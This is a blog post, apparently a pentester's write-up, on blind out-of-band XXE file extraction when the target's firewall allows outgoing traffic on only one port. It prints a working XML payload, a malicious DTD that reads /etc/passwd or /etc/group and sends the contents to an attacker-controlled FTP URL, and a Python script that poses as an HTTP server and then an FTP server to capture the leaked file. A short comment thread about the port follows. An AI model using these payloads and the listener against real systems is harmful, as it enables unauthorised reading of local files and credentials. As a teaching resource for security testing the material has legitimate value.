Suppose we have discovered a XXE-vulnerability and trying to do blind OOB local files content extraction.
There are some different ways to do this. I recently had to use FTP-extraction (AFAIK, this was due to vulnerable service Java version – it didn’t allowed the HTTP-extraction of some files, e.g. /etc/passwd
).
I have used the following vector:
1 2 3 4 5 6 7 8 | <?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://host:1111/ext.dtd"> %sp; %param1; ]> <r>&exfil;</r> |
and have place at http://host:1111/ext.dtd
the following DTD:
1 2 | <!ENTITY % data SYSTEM "file:///etc/passwd"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://host:2222/%data;'>"> |
This works the following way:
1. Processing the XML source, vulnerable app loads external DTD schema via HTTP from http://host:1111/ext.dtd
2. Processing the loaded schema, the app loads local file /etc/passwd
and tries to load external entity exfil
via FTP from ftp://host:2222/%data;
, where the %data;
is replaced by /etc/passwd
content by XML parser. Thus, if we control the FTP server, we can easily read extracted data.
And everything would be fine, but the vulnerable server firewall has allowed only 3785
port outgoing connections, and we needed to make 2 requests: over HTTP and then over FTP. So, I had to think, how to process both protocols using one single port 🙂
To exploit this successfully, I have crafted small python-server, which was the HTTP-server first and the FTP-one then. I have not implement protocols fully, of course, but only the needed parts.
Investigating the vector work algorithm described above, it becomes clear, that such server should emulate HTTP-server at first incoming request and respond with DTD, and emulate the FTP-server at second request printing the incoming commands (they would contain the /etc/passwd
content).
Well, this is the first script part – HTTP-server, responding with DTD:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | #!/usr/env/python # coding: utf-8 from __future__ import print_function import socket HOST = 'host.com' PORT = 3785 # this DTD will be returned at first HTTP-request dtd = '''<!ENTITY % data SYSTEM "file:///etc/group"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://{}:{}/%data;'>">'''.format(HOST, PORT) # Create socket and bins it to all interfaces and chosen port s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.bind(('0.0.0.0',PORT)) s.listen(1) conn,addr = s.accept() # await for incoming HTTP-connection print('-> HTTP-connection accepted') # Read request and send DTD, emulating the HTTP-server data = conn.recv(1024) conn.sendall('HTTP/1.1 200 OK\r\nContent-length: {len}\r\n\r\n{dtd}'.format(len=len(dtd), dtd=dtd)) print('-> DTD sent') conn.close() |
The second part – emulate FTP-server and print extracted data
30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 | conn,addr = s.accept() # await for incoming FTP-connection print('-> FTP-connection accepted') conn.sendall('220 FTP\r\n') # emulate FTP-server stop = False while not stop: data = str(conn.recv(1024)) # read client commands # if the client sends USER, ask for password to emulate # FTP-authentication properly if data.startswith('USER'): conn.sendall('331 password please\r\n') # RETR command would contain the extracted data elif data.startswith('RETR'): print('-> RETR command received, extracted data:') print('-'*30) print(data.split(' ', 1)[-1]) stop = True elif data.startswith('QUIT'): # stop, it client asks stop = True # asks for more data otherwise else: conn.sendall('230 more data please\r\n') conn.close() s.close() |
Then run script at out server and send source XML-vector to vulnerable app. Here is the result:

Thus, we can extract local files content using both needed protocols via single opened port 😉
- 43Shares
43
So you are saying that port 3785 was allowed and that you run both http and then ftp services on that port. Why is than PORT set to 8080 :
HOST = ‘host.com’
PORT = 8080
Oh, it is just example. I have specified the 3785 port in production exploit, of course 🙂
I have changed the port number to 3785 in example code also to be more clear.
Thanks man, was confused a bit, thought I missed something 😀
Hi,
One thing is not clear to me – why couldn’t you just use two different hosts – one serving HTTP and the second serving FTP on the same port?
Hey Attis,
You are right, it could also be possible solution 🙂 But I didn’t have one more VPS then, and I decided to solve this in more interesting way.
Got it 🙂